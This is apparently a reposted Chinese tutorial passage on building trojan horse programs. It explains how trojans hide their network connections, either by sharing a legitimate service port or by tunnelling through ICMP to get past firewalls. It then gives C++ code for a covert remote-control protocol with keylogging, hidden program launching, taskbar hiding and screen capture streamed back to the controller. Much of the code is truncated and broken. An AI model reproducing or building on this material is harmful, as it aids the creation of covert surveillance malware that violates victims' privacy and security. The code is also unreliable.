| 关键词: Liumy define 消息 LISTENINGTCP num 数据 sizeof int Msg UDP |
4、木马程序的建立连接的隐藏 木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。C:\Documents and Settings\bigball>netstat -nActive ConnectionsProto Local Address Foreign Address StateTCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHEDTCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHEDTCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHEDTCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHEDTCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAITTCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHEDTCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAITC:\Documents and Settings\bigball>netstat -aActive ConnectionsProto Local Address Foreign Address StateTCP Liumy:echo Liumy:0 LISTENINGTCP Liumy:discard Liumy:0 LISTENINGTCP Liumy:daytime Liumy:0 LISTENINGTCP Liumy:qotd Liumy:0 LISTENINGTCP Liumy:chargen Liumy:0 LISTENINGTCP Liumy:epmap Liumy:0 LISTENINGTCP Liumy:microsoft-ds Liumy:0 LISTENINGTCP Liumy:1025 Liumy:0 LISTENINGTCP Liumy:1026 Liumy:0 LISTENINGTCP Liumy:1031 Liumy:0 LISTENINGTCP Liumy:1032 Liumy:0 LISTENINGTCP Liumy:1112 Liumy:0 LISTENINGTCP Liumy:1135 Liumy:0 LISTENINGTCP Liumy:1142 Liumy:0 LISTENINGTCP Liumy:1801 Liumy:0 LISTENINGTCP Liumy:3372 Liumy:0 LISTENINGTCP Liumy:3389 Liumy:0 LISTENINGTCP Liumy:netbios-ssn Liumy:0 LISTENINGTCP Liumy:1028 Liumy:0 LISTENINGTCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTABTCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLITCP Liumy:1135 202.130.239.223:http ESTABLISHEDTCP Liumy:1142 202.130.239.223:http ESTABLISHEDTCP Liumy:1162 W3I:netbios-ssn TIME_WAITTCP Liumy:1170 202.130.239.133:http TIME_WAITTCP Liumy:2103 Liumy:0 LISTENINGTCP Liumy:2105 Liumy:0 LISTENINGTCP Liumy:2107 Liumy:0 LISTENINGUDP Liumy:echo *:*UDP Liumy:discard *:*UDP Liumy:daytime *:*UDP Liumy:qotd *:*UDP Liumy:chargen *:*UDP Liumy:epmap *:*UDP Liumy:snmp *:*UDP Liumy:microsoft-ds *:*UDP Liumy:1027 *:*UDP Liumy:1029 *:*UDP Liumy:3527 *:*UDP Liumy:4000 *:*UDP Liumy:4001 *:*UDP Liumy:1033 *:*UDP Liumy:1148 *:*UDP Liumy:netbios-ns *:*UDP Liumy:netbios-dgm *:*UDP Liumy:isakmp *:* 但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:5、发送数据的组织方法 关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:typedef struct{ //定义消息结构//char ip[20];char Type; //消息种类char Password[20]; //密码int CNum; //消息操作号//int Length; //消息长度}Msg;#define MsgLen sizeof(Msg)//-------------------------------------------//对话框数据包定义:Dlg_Msg_Type.h//-------------------------------------------//定义如下消息类型:#define MsgDlgCommon 4//连接事件#define MsgDlgSend 5//发送完成事件//消息结构typedef struct{char Name[20];//对话框标题char Msg[256];//对话框消息内容}MsgDlgUint;#define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度//------------------------------------------//聊天数据包定义:Chat_Msg_Type.h//------------------------------------------//定义如下消息类型:#define MsgChatCommon 0//连接事件#define MsgChatConnect 1//接入事件#define MsgChatEscept 2//结束事件#define MsgChatReceived 16//确认对话内容收到//消息结构typedef struct{char ClientName[20];//Client自定义的名称char Msg[256];//发送的消息}MsgChatUint;#define MsgChatLen sizeof(MsgChatUint)//消息单元长度//------------------------------------------//重启数据包定义:Reboot_Msg_Type.h//------------------------------------------//定义如下消息类型:#define MsgReBoot 15//重启事件//------------------------------------------//目录结构请求数据包定义:Dir_Msg_Type.h//------------------------------------------//定义如下消息类型:#define MsgGetDirInfo 17#define MsgReceiveGetDirInfo 18typedef struct{char Dir[4096];//你要的目录名}MsgDirUint;#define MsgDirUintLen sizeof(MsgDirUint)// TCP的Msgtypedef struct{ //定义消息结构char SType; //消息种类char SPassword[20]; //密码//int SNum; //消息操作号char *AllMsg;}SMsg;#define SMsgLen sizeof(SMsg)#define MSGListProgram 19#define MSGFlyMouse 21#define MSGGoWithMouse 22#define MSGSaveKey 23#define MSGTracekey 24#define MsgCopyScreen 25//tcp接收消息,udp请求消息#define MSGCopyWindow 26//-------------------------//鼠标指针隐藏和显示控制//-------------------------#define MsgSetMouseStat 27//设置消息#define MsgMouseStat 28//成功消息typedef struct{bool mouseshow;}MsgSetMouseStatUint;#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)//-------------------------//任务栏隐藏和显示控制//-------------------------#define MsgSetTaskBarStat 29//设置消息#define MsgTaskBarStat 30//成功消息typedef struct{bool taskshow;}MsgSetTaskBarStatUint;#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)//-------------------------//得到机器名//-------------------------#define MsgGetNetBiosName 31//取请求#define MsgNetBiosName 32//回送机器名typedef struct{char NetBiosName[128];}MsgNetBiosNameUint;#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)//-------------------------//关闭进程变更!//-------------------------#define MsgSetProgramClose 33//关闭请求#define MsgProgramClosed 34//成功消息-----typedef struct{char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字}MsgSetProgramCloseUint;#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)//-------------------------//打开进程变更!//-------------------------#define MsgSetProgramOpen 20//打开请求#define MsgProgramOpened 36//成功消息typedef struct{char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字bool ProgramShow;//前台运行或后台运行程序(隐藏运行)}MsgSetProgramOpenUint;#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息) 上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。 数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:Msg *msg=new Msg;TMemoryStream *RData=new TMemoryStream;NMUDP1->ReadStream(RData);RData->Read(msg,sizeof(Msg));UdpConnect *udpconnect=new UdpConnect;NetBiosName *netbiosname=new NetBiosName;if(msg->CNum==CNumBak)return;else{CNumBak=msg->CNum;switch(msg->Type){case 0://MsgUdpConnectRData->Read(udpconnect,sizeof(UdpConnect));checkuser(udpconnect->IsRight);break;case 1:RData->Read(netbiosname,sizeof(NetBiosName));AnsiString jqm="机器名 ";jqm+=(AnsiString)netbiosname->NetBiosName;Memo2->Lines->Add(jqm);break;}}??当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:NMUDP1->RemoteHost=FromIP;NMUDP1->RemotePort=Port;TMemoryStream *RData=new TMemoryStream;NMUDP1->ReadStream(RData);Msg *msg=new Msg;RData->Read(msg,sizeof(Msg));if(msg->CNum==CNumBak)return;else{CNumBak=msg->CNum;switch(msg->Type){case 0:checkuser(msg->Password);break;case 1:GetNetBiosName();break;case 2:CheckHard();break;}} 此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:#define MAXXCount 10 //屏幕X方向最多分割块数#define MAXYCount 5 //... Y................#define DestNum 1000 //每块的偏移检测点最大个数COLORREF Colors[MAXXCount][MAXYCount][DestNum];COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];TPoint Dests[DestNum];int Sw;int Sh;int xCount;int yCount;int ItemWidth;int ItemHeight;int Dnum;int Qlity;//得到消息后执行://另外:接收到的数据包中分析出 Dnum ,Qlity//Dnum:偏移观测点数量//Qlity:图象要求质量__fastcall TForm1::CopyScreen(int DNum,int Qlity){ItemWidth=Sw/xCount;ItemHeight=Sh/yCount;Sw=Screen->Width;Sh=Screen->Height;xCount=(Sw>1000)?8:6;yCount=(Sh>1000)?3:2;for (int num1=0;num1 Dests[num1].x=random(ItemWidth);Dests[num1].y=random(ItemHeight);}CatchScreen(DNum,Qlity);}//收到刷屏消息后只执行:CatchScreen(DNum,Qlity);__fastcall TForm1::CatchScreen(int DNum,int Qlity){//函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据//DNum: 偏移量 Qlity:图象质量HDC dc=GetDC(GetDesktopWindow());Graphics::TBitmap *bm=new Graphics::TBitmap;bm->Width=Sw;bm->Height=Sh;BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);int num1,num2,num3;int nowx,nowy;bool Change;bool ItemChange[MAXXCount][MAXYCount];for (num1=0;num1 nowx=ItemWidth*num1;for (num2=0;num2 nowy=ItemHeight*num2;Change=false;for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){BakColors[num1][num2][num3]=Colors[num1][num2][num3];ItemChange[num1][num2]=true;}}}}int CNum,MaxCNum;int ChangedNum=0;TRect *Rect;int num4;int MinSize=10000;int m;TRect MinRect;Graphics::TBitmap *bt2=new Graphics::TBitmap;TJPEGImage *j=new TJPEGImage;//************************j->Quality=Qlity;//************************CopyScreenUint CopyScreen;CopyScreenItemUint CopyScreenItem;TMemoryStream *ms=new TMemoryStream;ms->Write(&TcpMsg,sizeof(TcpMsgUint));ms->Write(&CopyScreen,sizeof(CopyScreenUint));do{for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3MaxCNum=0;for (num4=num2+1;num4CNum=GetChangedNum(TRect(num1,num2,num3,num4));if (CNum>MaxCNum) MaxCNum=CNum;m=(num3-num1)*(num4-num2);if (2*m-CNum MinSize=2*m-CNum;MinRect=TRect(num1,num2,num3,num4);}}}TMemoryStream *ms;BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);j->Assign(bt2);j->SaveToStream(ms2);CopyScreenItem.Rect=TRect(num1,num2,num3,num4);CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1ms2->Position=0;CopyScreenItem.Length=ms2->Size;ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));ms->CopyFrom(ms2,ms2->Size);ChangedNum++;}while(MaxCNum>0);TcpMsg.Type=MsgCopyScreen;ms->Position=0;TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);CopyScreen.Count=ChangedNum;ms->Write(&TcpMsg,sizeof(TcpMsgUint));ms->Write(&CopyScreen,sizeof(CopyScreenUInt));ms->Position=0;sock->SendStream(ms);} 这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|